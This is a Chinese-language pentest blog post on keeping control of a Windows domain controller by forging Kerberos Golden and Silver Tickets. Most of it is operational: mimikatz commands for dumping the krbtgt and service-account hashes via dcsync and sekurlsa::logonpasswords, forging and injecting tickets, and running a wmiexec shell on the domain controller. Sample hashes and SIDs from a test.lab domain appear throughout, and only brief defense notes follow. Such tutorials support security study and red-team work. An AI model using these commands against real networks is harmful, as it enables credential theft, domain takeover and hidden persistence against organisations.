内网安全之:黄金&白银票据传递域控制器权限维持

1 Golden Ticket

  • Kerberos的黄金票据详解 - 渗透测试中心 - 博客园 (cnblogs.com)

  • 域环境中存在SID为502的域账号krbtgt,其是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

  • 使用域的 Golden Ticket(黄金票据)进行票据传递时需要有以下条件:

    • 需要伪造的域管理员用户名。
    • 完整的域名。
    • 域SID。
    • krbtgt 的 NTLM Hash或AES-256值。

1.1 导出 krbtgt 的 NTLM Hash

# 在域控制器上使用mimikatz的 dcsync 功能远程转储活动目录中的 ntds.dit。指定/user只导出 krbtgt 账号的信息。
lsadump::dcsync /domain:test.lab /user:krbtgt
Hash NTLM: fa02a0e57e5ba9189d00990ae64e87ce
aes256_hmac: c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22

1.2 获取基本信息

# 1.获取域 SID
wmic useraccount get name,sid # 2.获取当前用户的SID
whoami /user
test\tester01 S-1-5-21-1207377116-2664972910-881425611-1104 # 3.查询域管理员账号
net group "domain admins" /domain # 4.查询域名
ipconfig /all

1.3 Kerberos 的黄金票操作过程

# 1.获取目标主机权限后,查看当前用户及其所属组
net user tester /domain # 2.注入票据前权限测试,此时显示拒绝访问
dir \\dc\c$ # 3. 清空票据
kerberos::purge # 4.利用 krbtgt 的 NTLM 生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /krbtgt:fa02a0e57e5ba9189d00990ae64e87ce /ticket:Administrator.kiribi
# 4.利用 krbtgt 的 AES-256 值生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /aes256:c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22 /ticket:Administrator.kiribi # 5.传递票据并注入内存
kerberos::ptt Administrator.kiribi # 6.查看当前会话中的票据
kerberos::tgt # 7.验证权限
cscript "wmiexec v1.1.vbs" /shell dc

1.4 防御

使用Golden Ticket 伪造的用户可以是任意用户(即使这个用户不存在)。因为 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt密码。

  • 域功能级别从 Win2000或 Win2003提升至Win2008或Win 2012。在提升域功能的过程中,krbtgt 的密码会被自动修改。
  • 进行安全检查和相关服务加固时修改 krbtgt 的密码。

2 Silver Ticket

Kerberos的白银票据详解 (bbsmax.com)

Silver Ticket 与 Golden Ticket 的区别:

  • Silver Ticket(白银票据) 的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志,而 Golden Ticket 在利用过程中需要由 KDC 颁发 TGT,并且在生成伪造的 TGT 的 20分钟内,TGS 不会对该 TGT 的真伪进行校验。
  • Silver Ticket 依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
  • Silver Ticket 会通过相应的服务账号来伪造 TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。而 Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。
  • Silver Ticket 是由特定服务账号加密的,Golden Ticket 是由 krbtgt 账号加密的。

2.1 Silver Ticket 的操作过程

2.1.1 使用 Silver Ticket 伪造 CIFS 服务权限

# 1.在域成员主机上进行伪造前权限测试,此时显示拒绝访问
dir \\dc\c$ # 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31 # 3.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:cifs /user:tester01 /ptt

2.1.2 使用 Silver Ticket 伪造 LDAP服务权限

# 1.查看当前权限是否可以使用 dcsync 与控制器进行同步: 使用 dcsync 从域控制器中获取指定用户的账号和密码哈希值,例如 krbtgt。向域控制器获取 krbtgt 的密码哈希值失败,说明当前权限不能进行 dcsync 操作。
# 命令格式
lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名
# 示例
lsadump::dcsync /dc:dc.test.lab /domain:test.lab /user:krbtgt # 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31 # 3.为了防止其他票据对实验进行干扰,先清除内存中的票据:
klist purge # 4.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
# 命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
# 示例
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:ldap /user:tester01 /ptt

2.2 Silver Ticket 可以用于伪造的服务

2.3 Silver Ticket 防御

  • 在内网中安装杀毒软件,及时更新系统补丁。
  • 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
  • 计算机的账号和密码默认每30天更改次。 检查该设置是否生效

内网安全之:黄金&白银票据传递域控制器权限维持的更多相关文章

  1. 【内网渗透笔记】Windows2008 R2搭建域控制器

    0x00 前言 将网络中的多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域(domain).域是日常计算机管理的一种很有效手段,因此,域控制器自然而然就在成域环境中最重要的角 ...

  2. [内网渗透]HASH获取与HASH传递

    0x01 PTH简介 PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的, ...

  3. 内网渗透-smb&wmi明文&hash传递

    首先我们要知道,在windows2012以上版本默认会关闭wdigest,那么攻击者就无法从内存中获取明文密码了 windows2012以下的版本如果安装了KB2871997补丁,那么同样也会导致无法 ...

  4. 5.内网渗透之PTH&PTT&PTK

    ---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...

  5. 票据传递攻击(Pass the Ticket,PtT)

    目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...

  6. WinServer 之 内网发布网站后端口映射外网访问

    内网IP只能在内网局域网访问连接,在外网是不能认识内网IP不能访问的.如有路由权限,且路由有固定公网IP,可以通过路由的端口映射,实现外网访问内网.如无路由,或路由无公网IP,需要用到第三方开放的花生 ...

  7. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  8. Vulnstack内网靶场2

    环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...

  9. 内网hash传递

    前言: 我们在平常打点的时候,遇到有内网或者有域的环境的时候,我们只获得了内网中的一台机子的shell,由这台机子我们可以获得这台机子所在的网段的相关其他主机.比如说有域的时候的域控机,有多层内网的堡 ...

  10. 内网渗透-windows认证

    前言:全国HW刚结束,加强一波内网概念,去年11月红队成绩并不理想,这次必拿下好成绩.冲!!! 0x00 本地认证 本地认证基础知识 在本地登录Windows的情况下,操作系统会使用用户输入的密码作为 ...

随机推荐

  1. python-py文件打包成exe可执行文件

    方法一::打包完成后可以直接被他人使用,他人不用安装python环境的 可以使用pyinstaller模块实现将python项目打包成exe执行文件 """ 先安装模块 ...

  2. ChatGPT 加图数据库 NebulaGraph 预测 2022 世界杯冠军球队

    一次利用 ChatGPT 给出数据抓取代码,借助 NebulaGraph 图数据库与图算法预测体坛赛事的尝试. 作者:古思为 蹭 ChatGPT 热度 最近因为世界杯正在进行,我受到这篇 Cambri ...

  3. 玩好.NET高级调试,你也要会写点汇编

    一:背景 1. 简介 .NET 高级调试要想玩的好,看懂汇编是基本功,但看懂汇编和能写点汇编又完全是两回事,所以有时候看的多,总手痒痒想写一点,在 Windows 平台上搭建汇编环境不是那么容易,大多 ...

  4. java调用python脚本 并传参(根据配置文件获取python文件地址)

    方式一: Java代码 package com.mybatis.plus.utils; import cn.hutool.core.lang.Console; import java.io.Buffe ...

  5. cs231n__2. K-nearest Neighbors

    CS231n 2 K-Nearest Neighbors note ---by Orangestar 1. codes: import numpy as np class NearestNeighbo ...

  6. JavaScript:七大基础数据类型:大整数bigint

    因为数值number有表示范围,所以当我们需要精确表示更大的数字时,我们需要用到大整数bigint: 事实上,大整数可以精确表示任意长度的整数: 我们可以通过在整数的末尾添加字母n,来声明它是一个大整 ...

  7. [C++]bitwise和memberwise的区别

    在看<深入探索C++对象模型>这本书的时候,我看见了bitwise senimatics和memberwise senimatics,看的时候还不清楚这两个是什么意思,书本上直接使用的是英 ...

  8. uniapp 开发微信小程序问题笔记

    最近接手了一个小程序开发,从头开始.使用了 uniapp 搭建,以前没有做过小程序开发,着手看文档.查文档.一步一步完成了任务的开发.特此记录开发过程中的问题. 开发建议: 使用 HBuilderX ...

  9. 模板层之标签、自定义模板语法、母版(模版)的继承与导入、模型层前期准备知识点、ORM常用关键字

    今日内容概要 模板层之标签 if判断 {% if 条件1 %} #条件1成立 <p>Hello!</p> #执行 {% elif 条件2 %} #条件1不成立 条件2成立 &l ...

  10. 推荐一款在浏览器编辑`Blazor`的`IDE`

    不知道是否有Blazor用户羡慕过React或者Vue用户,在一些组件库中,它们就提供了在当前的组件预览对于组件的实时编辑并且预览? 比如semi-design的这种 在比如codepen这种 由于B ...